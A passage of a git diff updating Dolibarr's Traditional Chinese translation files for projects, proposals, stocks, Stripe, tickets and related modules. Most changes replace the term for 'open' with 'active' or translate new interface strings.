TasksOnProjectsDesc=此檢視顯示所有專案上的所有任務(您的用戶權限授予您檢視所有內容)。 MyTasksDesc=此檢視僅顯示您是聯絡人之專案或任務 -OnlyOpenedProject=僅顯示開放專案(不顯示草案或是已關閉狀態之專案) +OnlyOpenedProject=僅顯示啟用專案(不顯示草案或是已結案狀態之專案) ClosedProjectsAreHidden=不顯示已關閉專案 TasksPublicDesc=此檢視顯示您可讀取之所有專案及任務。 TasksDesc=此檢視顯示所有專案及任務(您的用戶權限授予您查看所有內容)。 AllTaskVisibleButEditIfYouAreAssigned=合格專案的所有任務都可見,但是您只能輸入分配給所選用戶之任務的時間。如果需要輸入時間,請分配任務。 OnlyYourTaskAreVisible=僅顯示分配給您的任務。如果您需要輸入時間並且看不見任務,則您需要將任務分配給自己。 +ImportDatasetProjects=專案或機會 ImportDatasetTasks=專案任務 ProjectCategories=專案標籤/類別 NewProject=新專案 @@ -31,13 +32,15 @@ DeleteAProject=刪除專案 DeleteATask=刪除任務 ConfirmDeleteAProject=您確定要刪除此專案嗎? ConfirmDeleteATask=您確定要刪除此任務嗎? -OpenedProjects=開放專案 -OpenedTasks=開放任務 -OpportunitiesStatusForOpenedProjects=依已開啟專案狀態的潛在客戶數量 +OpenedProjects=啟用專案 +OpenedTasks=啟用任務 +OpportunitiesStatusForOpenedProjects=依已啟用專案狀態的潛在客戶數量 OpportunitiesStatusForProjects=依專案狀態的潛在客戶數量 ShowProject=顯示專案 ShowTask=顯示任務 +SetThirdParty=設定合作方 SetProject=設定專案 +OutOfProject=專案以外 NoProject=沒有被定義或被擁有的專案 NbOfProjects=專案數量 NbOfTasks=任務數量 @@ -52,7 +55,7 @@ TaskTimeSpent=任務工作時間 TaskTimeUser=用戶 TaskTimeNote=註解 TaskTimeDate=日期 -TasksOnOpenedProject=開放專案的任務 +TasksOnOpenedProject=啟用專案的任務 WorkloadNotDefined=工作量未定義 NewTimeSpent=工作時間 MyTimeSpent=我的工作時間 @@ -78,7 +81,7 @@ MyProjectsArea=專案區 DurationEffective=有效期限 ProgressDeclared=宣布實際進度 TaskProgressSummary=任務進度 -CurentlyOpenedTasks=目前的打開任務 +CurentlyOpenedTasks=目前的啟用任務 TheReportedProgressIsLessThanTheCalculatedProgressionByX=宣布的實際進度小於消耗進度%s TheReportedProgressIsMoreThanTheCalculatedProgressionByX=宣布的實際進度比消耗進度多%s ProgressCalculated=消耗進度 @@ -122,7 +125,8 @@ ValidateProject=驗證專案 ConfirmValidateProject=您確定要驗證此專案嗎? CloseAProject=關閉專案 ConfirmCloseAProject=您確定要關閉此專案? -AlsoCloseAProject=同時關閉專案(如果仍然需要執行生產任務,請保持打開狀態) +AlsoCloseAProject=同時關閉專案 +AlsoCloseAProjectTooltip=如果仍然需要執行任務,請保持打開狀態 ReOpenAProject=打開的專案 ConfirmReOpenAProject=您確定要重新打開此專案嗎? ProjectContact=專案聯絡人 @@ -165,7 +169,7 @@ OpportunityProbability=潛在可能性 OpportunityProbabilityShort=潛在機率 OpportunityAmount=潛在金額 OpportunityAmountShort=潛在金額 -OpportunityWeightedAmount=機會加權金額 +OpportunityWeightedAmount=機會的數量,依獲得機率加權 OpportunityWeightedAmountShort=機會加權金額 OpportunityAmountAverageShort=平均潛在金額 OpportunityAmountWeigthedShort=加權潛在金額 @@ -222,10 +226,10 @@ TasksStatistics=專案/潛在任務的統計 TaskAssignedToEnterTime=任務已分配。應該可以輸入此任務的時間。 IdTaskTime=任務時間ID YouCanCompleteRef=如果要使用一些後綴來完成引用,則建議增加-字元以將其分隔,因此自動編號仍可正確用於下一個專案。例如%s-MYSUFFIX -OpenedProjectsByThirdparties=開啟合作方專案 +OpenedProjectsByThirdparties=合作方的啟用專案 OnlyOpportunitiesShort=僅潛在機會 -OpenedOpportunitiesShort=開啟潛在機會 -NotOpenedOpportunitiesShort=不是打開的潛在機會 +OpenedOpportunitiesShort=啟用潛在機會 +NotOpenedOpportunitiesShort=不是啟用的潛在機會 NotAnOpportunityShort=不是潛在機會 OpportunityTotalAmount=潛在機會總數量 OpportunityPonderatedAmount=權重潛在機會數量 @@ -238,7 +242,7 @@ OppStatusPENDING=等待中 OppStatusWON=獲得 OppStatusLOST=失去 Budget=預算 -AllowToLinkFromOtherCompany=允許連結其他公司的專案

      支援的值:
      -保留為空:可以連結公司的任何專案(預設)
      -“全部”:可以連結任何專案,甚至其他公司的專案
      -用逗號分隔的合作方ID清單:可以連結這些合作方的所有專案(例如:123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=最新%s項專案 LatestModifiedProjects=最新%s項修改專案 OtherFilteredTasks=其他已篩選任務 @@ -255,11 +259,12 @@ RecordsClosed=%s專案已關閉 SendProjectRef=專案%s的資訊 ModuleSalaryToDefineHourlyRateMustBeEnabled=必須啟用“工資”模組來定義員工的每小時工資,以使所花費的時間保持平衡 NewTaskRefSuggested=任務參考已使用,需要新的任務參考 +NumberOfTasksCloned=%s 任務已複製 TimeSpentInvoiced=花費時間已計費 TimeSpentForIntervention=花費時間 TimeSpentForInvoice=花費時間 OneLinePerUser=每位用戶一行 -ServiceToUseOnLines=行上使用的服務 +ServiceToUseOnLines=預設要匯入發票行的服務 InvoiceGeneratedFromTimeSpent=根據專案花費的時間產生了發票%s InterventionGeneratedFromTimeSpent=干預 %s 已從專案的時間花費上產生 ProjectBillTimeDescription=請勾選如果您輸入了有關專案任務的時間表,並計劃從此時間表中產生發票以向此專案的客戶開立帳單(不要勾選如果您打算建立不基於輸入時間表的發票)。注意:要產生發票,請前往專案的“花費時間”分頁上,並選擇要包括的行。 @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=利潤計算是使用 AddPersonToTask=也增加到任務 UsageOrganizeEvent=用途:事件組織 PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=當所有任務完成時將專案分類為關閉(進度100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=注意:所有任務進度為 100%% 的現有專案不會受到影響:您必須手動關閉它們。此選項僅影響打開的專案。 +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=選擇未計費的時間行,然後批次操作“產生發票”來計費 ProjectTasksWithoutTimeSpent=無需時間花費的專案任務 FormForNewLeadDesc=感謝您填寫以下表單與我們聯繫。您也可以直接發送電子郵件至 %s 。 @@ -290,7 +295,8 @@ ProjectsHavingThisContact=有此聯絡人的專案 StartDateCannotBeAfterEndDate=結束日期不能早於開始日期 ErrorPROJECTLEADERRoleMissingRestoreIt=“專案負責人”角色遺失或已停用,請在聯絡人類型分類中恢復此分類 LeadPublicFormDesc=You can enable here a public page to allow your prospects to make a first contact to you from a public online form -EnablePublicLeadForm=Enable the public form for contact -NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. -NewLeadForm=New contact form -LeadFromPublicForm=Online lead from public form +EnablePublicLeadForm=為聯絡人啟用公共表單 +NewLeadbyWeb=您的留言或需求已被記錄。我們會盡快答覆或聯繫您。 +NewLeadForm=新聯絡人表單 +LeadFromPublicForm=來自公共表單的線上潛在機會 +ExportAccountingReportButtonLabel=取得會計報表 diff --git a/htdocs/langs/zh_TW/propal.lang b/htdocs/langs/zh_TW/propal.lang index c1272432cf5..3d0f7bb3686 100644 --- a/htdocs/langs/zh_TW/propal.lang +++ b/htdocs/langs/zh_TW/propal.lang @@ -26,7 +26,7 @@ AmountOfProposalsByMonthHT=每月金額(不含稅) NbOfProposals=商業提案/建議書數量 ShowPropal=顯示提案/建議書 PropalsDraft=草稿 -PropalsOpened=開放 +PropalsOpened=啟用 PropalStatusDraft=草案(等待驗證) PropalStatusValidated=驗證(建議打開) PropalStatusSigned=簽名(需要收費) @@ -65,49 +65,54 @@ AvailabilityPeriod=交貨期 SetAvailability=設定交貨期 AfterOrder=訂單後 OtherProposals=其他提案/建議書 + ##### Availability ##### AvailabilityTypeAV_NOW=即時 AvailabilityTypeAV_1W=1個星期 AvailabilityTypeAV_2W=2個星期 AvailabilityTypeAV_3W=3個星期 AvailabilityTypeAV_1M=1個月 -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=提案/建議書聯絡人 TypeContact_propal_external_BILLING=客戶發票聯絡人 TypeContact_propal_external_CUSTOMER=提案/建議書客戶聯絡人 TypeContact_propal_external_SHIPPING=客戶交貨聯絡人 + # Document models -DocModelAzurDescription=完整的提案/建議書模型(Cyan範本的舊範本) -DocModelCyanDescription=完整的提案/建議書模型 -DefaultModelPropalCreate=預設模型建立 -DefaultModelPropalToBill=當關閉企業提案/建議書時使用的預設範本(開立發票) -DefaultModelPropalClosed=當關閉企業提案/建議書時使用的預設範本(未開票) -ProposalCustomerSignature=書面驗收,公司印章,日期和簽名 -ProposalsStatisticsSuppliers=供應商提案/建議書統計 -CaseFollowedBy=案件追蹤者 -SignedOnly=僅簽名 -NoSign=設定為未簽名 -NoSigned=設定為未簽名 CantBeNoSign=無法設定為未簽名 +CaseFollowedBy=案件追蹤者 ConfirmMassNoSignature=批次未簽名設定確認 ConfirmMassNoSignatureQuestion=您確定要將選擇的紀錄設定為未簽名嗎? -IsNotADraft=不是草案 -PassedInOpenStatus=已被驗證 -Sign=簽名 -Signed=已簽名 -ConfirmMassValidation=批次驗證確認 ConfirmMassSignature=批次簽名確認 -ConfirmMassValidationQuestion=您確定要驗證所選擇的記錄嗎? ConfirmMassSignatureQuestion=您確定要簽署所選擇記錄嗎? -IdProposal=方案/提案編號 +ConfirmMassValidation=批次驗證確認 +ConfirmMassValidationQuestion=您確定要驗證所選擇的記錄嗎? +ConfirmRefusePropal=您確定您想要拒絕此商業提案/建議書? +ContractSigned=合約已簽訂 +DefaultModelPropalClosed=當關閉企業提案/建議書時使用的預設範本(未開票) +DefaultModelPropalCreate=預設模型建立 +DefaultModelPropalToBill=當關閉企業提案/建議書時使用的預設範本(開立發票) +DocModelAzurDescription=完整的提案/建議書模型(Cyan範本的舊範本) +DocModelCyanDescription=完整的提案/建議書模型 +FichinterSigned=Intervention signed IdProduct=產品編號 +IdProposal=方案/提案編號 +IsNotADraft=不是草案 LineBuyPriceHT=購買價格扣除稅額 -SignPropal=接受提案/建議書 +NoSign=拒絕 +NoSigned=設定為未簽名 +PassedInOpenStatus=已被驗證 +PropalAlreadyRefused=提案/建議書已被拒絕 +PropalAlreadySigned=提案/建議書已被接受 +PropalRefused=提案/建議書已拒絕 +PropalSigned=提案/建議書已接受 +ProposalCustomerSignature=書面驗收,公司印章,日期和簽名 +ProposalsStatisticsSuppliers=供應商提案/建議書統計 RefusePropal=拒絕提案/建議書 Sign=簽名 -NoSign=設定為未簽名 -PropalAlreadySigned=提案/建議書已被接受 -PropalAlreadyRefused=提案/建議書已被拒絕 -PropalSigned=提案/建議書已接受 -PropalRefused=提案/建議書已拒絕 -ConfirmRefusePropal=您確定您想要拒絕此商業提案/建議書? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=接受提案/建議書 +Signed=已簽名 +SignedOnly=僅簽名 diff --git a/htdocs/langs/zh_TW/receptions.lang b/htdocs/langs/zh_TW/receptions.lang index 72d9ea35cf2..58bb5e22f4b 100644 --- a/htdocs/langs/zh_TW/receptions.lang +++ b/htdocs/langs/zh_TW/receptions.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup +ReceptionDescription=供應商收貨管理(建立收貨文件) +ReceptionsSetup=產品收貨設定 RefReception=收貨參考 Reception=收貨 Receptions=收貨(s) @@ -32,6 +32,7 @@ StatusReceptionDraftShort=草案 StatusReceptionValidatedShort=驗證 StatusReceptionProcessedShort=已處理 ReceptionSheet=收貨表 +ValidateReception=Validate reception ConfirmDeleteReception=您確定要刪除此收貨嗎? ConfirmValidateReception=您確定要使用參考%s驗證此收貨嗎? ConfirmCancelReception=您確定要取消此收貨嗎? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=收貨編號模組 ReceptionsReceiptModel=收貨用文件範本 NoMorePredefinedProductToDispatch=沒有更多預定義的產品要調度 ReceptionExist=有櫃台 -ByingPrice=依價格 ReceptionBackToDraftInDolibarr=收貨 %s 回到草案狀態 ReceptionClassifyClosedInDolibarr=收貨%s 分類為已關閉 -ReceptionUnClassifyCloseddInDolibarr=收貨 %s 重新開放 +ReceptionUnClassifyCloseddInDolibarr=收貨 %s 重新啟用 diff --git a/htdocs/langs/zh_TW/recruitment.lang b/htdocs/langs/zh_TW/recruitment.lang index 5164dc873e5..50a8ca2d71b 100644 --- a/htdocs/langs/zh_TW/recruitment.lang +++ b/htdocs/langs/zh_TW/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=招募電子郵件 ToUseAGenericEmail=使用普通電子郵件。如果未定義,將使用招募負責人的電子郵件 NewCandidature=新申請 ListOfCandidatures=申請清單 -RequestedRemuneration=要求的薪資 -ProposedRemuneration=擬議薪資 +Remuneration=薪資 +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=擬議合約 ContractSigned=合約已簽訂 ContractRefused=合約被拒絕 RecruitmentCandidature=申請 JobPositions=工作職位 RecruitmentCandidatures=申請 -InterviewToDo=面試事項 +InterviewToDo=Contacts to follow AnswerCandidature=申請回覆 YourCandidature=您的申請 YourCandidatureAnswerMessage=感謝您的申請。
      ... diff --git a/htdocs/langs/zh_TW/salaries.lang b/htdocs/langs/zh_TW/salaries.lang index 1e868cf86bd..4cb18fe149a 100644 --- a/htdocs/langs/zh_TW/salaries.lang +++ b/htdocs/langs/zh_TW/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=用戶合作方使用的會計帳戶 -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=用戶卡上定義的專用會計帳戶將僅用於子帳會計。如果未定義用戶專用的用戶帳戶,則此帳戶將用於“總帳”,並作為“子帳”帳戶的默認值。 +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=默認支付薪資的會計帳戶 CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=預設,當建立薪資時將"自動建立所有支付"選項留空 Salary=薪資 diff --git a/htdocs/langs/zh_TW/stocks.lang b/htdocs/langs/zh_TW/stocks.lang index b91d99a98cd..15fbff6c930 100644 --- a/htdocs/langs/zh_TW/stocks.lang +++ b/htdocs/langs/zh_TW/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=未來的日期 StocksByLotSerial=依批次/序號的庫存 LotSerial=批次/序號 LotSerialList=批次/序號清單 +SubjectToLotSerialOnly=Products subject to lot/serial only Movements=庫存移轉 ErrorWarehouseRefRequired=倉庫引用的名稱為必填 ListOfWarehouses=倉庫清單 @@ -48,7 +49,7 @@ StockCorrection=庫存更正 CorrectStock=修正庫存 StockTransfer=庫存轉移 TransferStock=轉移庫存 -MassStockTransferShort=大量庫存轉移 +MassStockTransferShort=Bulk stock change StockMovement=庫存變動 StockMovements=庫存變動 NumberOfUnit=單位數目 @@ -146,8 +147,9 @@ Replenishments=補貨 NbOfProductBeforePeriod=選則期間以前產品%s庫存的數量(<%s) NbOfProductAfterPeriod=選則期間之後產品%s庫存的數量(> %s) MassMovement=全部活動 -SelectProductInAndOutWareHouse=選擇一個來源倉庫,目標倉庫,產品與數量然後點選"%s"。當所有移動後完成後請點選"%s"。 +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=記錄轉移 +RecordMovements=Record stock movements ReceivingForSameOrder=此訂單的收據 StockMovementRecorded=庫存變動已記錄 RuleForStockAvailability=庫存要求規則 @@ -234,7 +236,7 @@ StockIncrease=庫存增加 StockDecrease=庫存減少 InventoryForASpecificWarehouse=特定倉庫的庫存 InventoryForASpecificProduct=特定產品的庫存 -StockIsRequiredToChooseWhichLotToUse=庫存需要選擇要使用的批次 +StockIsRequiredToChooseWhichLotToUse=An existing stock is required to be able to choose which lot to use ForceTo=強制到 AlwaysShowFullArbo=在倉庫連結的彈出窗口上顯示完整的倉庫樹狀圖(警告:這可能會大大降低性能) StockAtDatePastDesc=您可以在此處檢視給定之過去日期的庫存(實際庫存) @@ -270,26 +272,26 @@ InventoryStartedShort=已開始 ErrorOnElementsInventory=操作因為以下原因取消: ErrorCantFindCodeInInventory=在庫存中找不到以下代號 QtyWasAddedToTheScannedBarcode=成功 !!數量已增加到所有請求的條碼中。您可以關閉掃描工具。 -StockChangeDisabled=更改庫存已停用 +StockChangeDisabled=已停用庫存更改 NoWarehouseDefinedForTerminal=沒有為終端機定義倉庫 ClearQtys=清除所有數量 -ModuleStockTransferName=Advanced Stock Transfer -ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet -StockTransferNew=New stock transfer -StockTransferList=Stock transfers list -ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? -ConfirmDestock=Decrease of stocks with transfer %s -ConfirmDestockCancel=Cancel decrease of stocks with transfer %s -DestockAllProduct=Decrease of stocks -DestockAllProductCancel=Cancel decrease of stocks -ConfirmAddStock=Increase stocks with transfer %s -ConfirmAddStockCancel=Cancel increase of stocks with transfer %s -AddStockAllProduct=Increase of stocks -AddStockAllProductCancel=Cancel increase of stocks -DatePrevueDepart=Intended date of departure -DateReelleDepart=Real date of departure -DatePrevueArrivee=Intended date of arrival -DateReelleArrivee=Real date of arrival +ModuleStockTransferName=進階庫存轉移 +ModuleStockTransferDesc=進階管理庫存轉移,產生庫存轉移表 +StockTransferNew=新庫存轉移 +StockTransferList=庫存轉移清單 +ConfirmValidateStockTransfer=您確定要以%s驗證此庫存轉移嗎? +ConfirmDestock=%s轉移減少庫存 +ConfirmDestockCancel=取消%s轉移的減少庫存 +DestockAllProduct=庫存減少 +DestockAllProductCancel=取消庫存減少 +ConfirmAddStock=%s轉移庫存增加 +ConfirmAddStockCancel=取消%s轉移的庫存增加 +AddStockAllProduct=庫存增加 +AddStockAllProductCancel=取消庫存增加 +DatePrevueDepart=預定出貨日 +DateReelleDepart=實際出貨日 +DatePrevueArrivee=預定到貨日 +DateReelleArrivee=實際到貨日 HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse LeadTimeForWarning=Lead time before alert (in days) @@ -300,18 +302,18 @@ StockTransferSheet=Stocks transfer sheet StockTransferSheetProforma=Proforma stocks transfer sheet StockTransferDecrementation=Decrease source warehouses StockTransferIncrementation=Increase destination warehouses -StockTransferDecrementationCancel=Cancel decrease of source warehouses -StockTransferIncrementationCancel=Cancel increase of destination warehouses -StockStransferDecremented=Source warehouses decreased -StockStransferDecrementedCancel=Decrease of source warehouses canceled -StockStransferIncremented=Closed - Stocks transfered -StockStransferIncrementedShort=Stocks transfered +StockTransferDecrementationCancel=取消減少來源倉庫數量 +StockTransferIncrementationCancel=取消增加目的地倉庫數量 +StockStransferDecremented=來源倉庫數量已減少 +StockStransferDecrementedCancel=已取消減少來源倉庫數量 +StockStransferIncremented=已關閉 - 庫存已轉移 +StockStransferIncrementedShort=庫存已轉移 StockStransferIncrementedShortCancel=Increase of destination warehouses canceled -StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry -StockTransferSetup = Stocks Transfer module configuration +StockTransferNoBatchForProduct=產品%s沒有使用批號,請線上清除批號後再試 +StockTransferSetup = 庫存轉移模組設定 Settings=設定 -StockTransferSetupPage = Configuration page for stocks transfer module -StockTransferRightRead=Read stocks transfers -StockTransferRightCreateUpdate=Create/Update stocks transfers -StockTransferRightDelete=Delete stocks transfers -BatchNotFound=Lot / serial not found for this product +StockTransferSetupPage = 庫存轉移模組設定頁面 +StockTransferRightRead=讀取庫存轉移 +StockTransferRightCreateUpdate=建立/更新庫存轉移 +StockTransferRightDelete=刪除庫存轉移 +BatchNotFound=找不到此產品的批號/序號 diff --git a/htdocs/langs/zh_TW/stripe.lang b/htdocs/langs/zh_TW/stripe.lang index 3e6691b8381..6b3597352d5 100644 --- a/htdocs/langs/zh_TW/stripe.lang +++ b/htdocs/langs/zh_TW/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live金鑰 ONLINE_PAYMENT_WAREHOUSE=完成線上支付時用於減少庫存的庫存
      (待辦事項 如果針對發票操作完成了減少庫存的選項,線上支付也同時產生發票?) StripeLiveEnabled=啟用Stripe live模式(否則為測試/沙盒模式) StripeImportPayment=匯入Stripe付款 -ExampleOfTestCreditCard=用於信用卡測試的範例:%s =>有效,%s =>錯誤CVC,%s =>已過期,%s =>加值失敗 +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe閘道 OAUTH_STRIPE_TEST_ID=Stripe Connect客戶端ID(ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect客戶端ID(ca _...) @@ -61,6 +62,7 @@ DeleteACard=刪除卡片 ConfirmDeleteCard=您確定要刪除此信用卡或金融信用卡嗎? CreateCustomerOnStripe=在Stripe上建立客戶 CreateCardOnStripe=在Stripe上建立卡片 +CreateBANOnStripe=Create bank on Stripe ShowInStripe=在Stripe上顯示 StripeUserAccountForActions=用於某些Stripe事件的電子郵件通知用戶帳戶(Stripe支出) StripePayoutList=Stripe支出清單 @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=連結到Stripe WebHook設定以呼叫IPN(live模 PaymentWillBeRecordedForNextPeriod=付款將記錄在下一個期間。 ClickHereToTryAgain=點擊此處重試... CreationOfPaymentModeMustBeDoneFromStripeInterface=由於嚴格的客戶身份驗證規則,必須在Stripe後台進行卡的建立。您可以點擊此處打開Stripe客戶記錄:%s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/zh_TW/supplier_proposal.lang b/htdocs/langs/zh_TW/supplier_proposal.lang index b029b7f1ee2..7af171473c1 100644 --- a/htdocs/langs/zh_TW/supplier_proposal.lang +++ b/htdocs/langs/zh_TW/supplier_proposal.lang @@ -8,7 +8,7 @@ SearchRequest=搜尋供應商報價 DraftRequests=供應商報價草案 SupplierProposalsDraft=供應商提案/建議書草稿 LastModifiedRequests=最新%s的價格要求 -RequestsOpened=打開的報價 +RequestsOpened=啟用報價 SupplierProposalArea=供應商提案/建議書區 SupplierProposalShort=供應商提案/建議書 SupplierProposals=供應商提案/建議書 diff --git a/htdocs/langs/zh_TW/suppliers.lang b/htdocs/langs/zh_TW/suppliers.lang index 1c8d77181c5..c3977ac0623 100644 --- a/htdocs/langs/zh_TW/suppliers.lang +++ b/htdocs/langs/zh_TW/suppliers.lang @@ -4,6 +4,7 @@ SuppliersInvoice=供應商發票 SupplierInvoices=供應商發票 ShowSupplierInvoice=顯示供應商發票 NewSupplier=新供應商 +NewSupplierInvoice = 新供應商發票 History=歷史紀錄 ListOfSuppliers=供應商名單 ShowSupplier=顯示供應商 @@ -47,3 +48,10 @@ BuyerName=買家名稱 AllProductServicePrices=所有產品/服務價格 AllProductReferencesOfSupplier=供應商的所有參考 BuyingPriceNumShort=供應商價格 +RepeatableSupplierInvoice=供應商發票模板 +RepeatableSupplierInvoices=供應商發票模板 +RepeatableSupplierInvoicesList=供應商發票模板 +RecurringSupplierInvoices=經常性供應商發票 +ToCreateAPredefinedSupplierInvoice=為了建立供應商發票模板,您必須建立一個標準發票,然後在不驗證它的情況下點擊"%s"按鈕 +GeneratedFromSupplierTemplate=已從供應商發票模板 %s 產生 +SupplierInvoiceGeneratedFromTemplate=供應商發票 %s 已從供應商發票模板 %s 產生 diff --git a/htdocs/langs/zh_TW/ticket.lang b/htdocs/langs/zh_TW/ticket.lang index 8260468fbfc..a5d8f119e2d 100644 --- a/htdocs/langs/zh_TW/ticket.lang +++ b/htdocs/langs/zh_TW/ticket.lang @@ -26,7 +26,9 @@ Permission56002=修改服務單 Permission56003=刪除服務單 Permission56004=管理服務單 Permission56005=查看所有合作方的服務單(對外部用戶無效,始終僅限於他們所依賴的合作方) +Permission56006=匯出服務單 +Tickets=服務單 TicketDictType=服務單-類型 TicketDictCategory=服務單-組別 TicketDictSeverity=服務單-嚴重程度 @@ -49,8 +51,8 @@ TicketCategoryShortOTHER=其他 ErrorBadEmailAddress=欄位'%s'不正確 MenuTicketMyAssign=我的服務單 -MenuTicketMyAssignNonClosed=我的開放服務單 -MenuListNonClosed=開放服務單 +MenuTicketMyAssignNonClosed=我啟用的服務單 +MenuListNonClosed=啟用服務單 TypeContact_ticket_internal_CONTRIBUTOR=合作者 TypeContact_ticket_internal_SUPPORTTEC=已分配用戶 @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=外部合作者 OriginEmail=填寫人Email Notify_TICKET_SENTBYMAIL=以電子郵件發送服務單訊息 +ExportDataset_ticket_1=服務單 + # Status Read=已讀取 Assigned=已分配 @@ -90,8 +94,8 @@ TicketPublicAccess=以下網址提供了無需認證的公共界面 TicketSetupDictionaries=服務單類型,嚴重性和分析代碼可前往分類進行設定 TicketParamModule=模組變數設定 TicketParamMail=電子郵件設定 -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=回應服務單之寄件者e-mail +TicketEmailNotificationFromHelp=用於在後台提供回覆時發送通知電子郵件的寄件人電子郵件。例如 noreply@example.com TicketEmailNotificationTo=服務單建立通知傳送至此電子郵件 TicketEmailNotificationToHelp=如果存在,將通知此電子郵件有服務單被建立 TicketNewEmailBodyLabel=建立服務單後發送的訊息 @@ -99,8 +103,8 @@ TicketNewEmailBodyHelp=此處指定的文字將插入到從公共界面建立新 TicketParamPublicInterface=公共界面設定 TicketsEmailMustExist=需要現有的電子郵件地址來建立服務單 TicketsEmailMustExistHelp=在公共界面中,電子郵件地址應該已經填入到資料庫中以建立服務單。 -TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. -TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. +TicketCreateThirdPartyWithContactIfNotExist=詢問未知電子郵件者的姓名和公司名稱。 +TicketCreateThirdPartyWithContactIfNotExistHelp=檢查輸入的電子郵件是否存在合作方或聯絡人。如果沒有,詢問姓名和公司名稱以建立具有聯絡方式的合作方。 PublicInterface=公共界面 TicketUrlPublicInterfaceLabelAdmin=公共界面的備用網址 TicketUrlPublicInterfaceHelpAdmin=可以為網站伺服器定義別名,使得公共界面可以與另一個網址一起使用(伺服器必須充當此新網址的代理) @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=關閉服務單時,系統會建議您向合作方 TicketWrongContact=提供的聯絡人不屬於目前服務單的聯絡人。電子郵件未發送。 TicketChooseProductCategory=服務單支援的產品類別 TicketChooseProductCategoryHelp=選擇服務單支援的產品類別。這將用於自動將合約連結到服務單。 +TicketUseCaptchaCode=建立服務單時使用圖形驗證碼(驗證碼) +TicketUseCaptchaCodeHelp=當建立新服務單時增加驗證碼驗證 # # Index & list page @@ -159,7 +165,7 @@ TicketAssignedToMeInfos=此頁面顯示由目前用戶建立或分配給目前 NoTicketsFound=找不到服務單 NoUnreadTicketsFound=找不到未讀的服務單 TicketViewAllTickets=檢視所有服務單 -TicketViewNonClosedOnly=只檢視開放服務單 +TicketViewNonClosedOnly=只檢視啟用服務單 TicketStatByStatus=服務單狀態 OrderByDateAsc=依日期升序排序 OrderByDateDesc=依日期降序排序 @@ -180,7 +186,7 @@ CreatedBy=建立者 NewTicket=新服務單 SubjectAnswerToTicket=服務單回應 TicketTypeRequest=需求類型 -TicketCategory=服務單分類 +TicketCategory=Ticket group SeeTicket=查閱服務單 TicketMarkedAsRead=服務單已標記為已讀 TicketReadOn=繼續讀取 @@ -192,8 +198,7 @@ TicketAssigned=服務單已分配 TicketChangeType=變更類型 TicketChangeCategory=變更分析代碼 TicketChangeSeverity=變更嚴重程度 -TicketAddMessage=增加訊息 -AddMessage=增加訊息 +TicketAddMessage=增加私人訊息 MessageSuccessfullyAdded=服務單已新增 TicketMessageSuccessfullyAdded=訊息已成功新增 TicketMessagesList=訊息清單 @@ -204,8 +209,8 @@ TicketSeverity=嚴重程度 ShowTicket=查閱服務單 RelatedTickets=相關服務單 TicketAddIntervention=建立干預 -CloseTicket=已關閉|已解決服務單 -AbandonTicket=放棄的服務單 +CloseTicket=已關閉|已解決 +AbandonTicket=放棄 CloseATicket=關閉|解決一筆服務單 ConfirmCloseAticket=確認關閉服務單 ConfirmAbandonTicket=您確定要將關閉的服務單狀態更改為"已放棄"嗎? @@ -219,18 +224,17 @@ 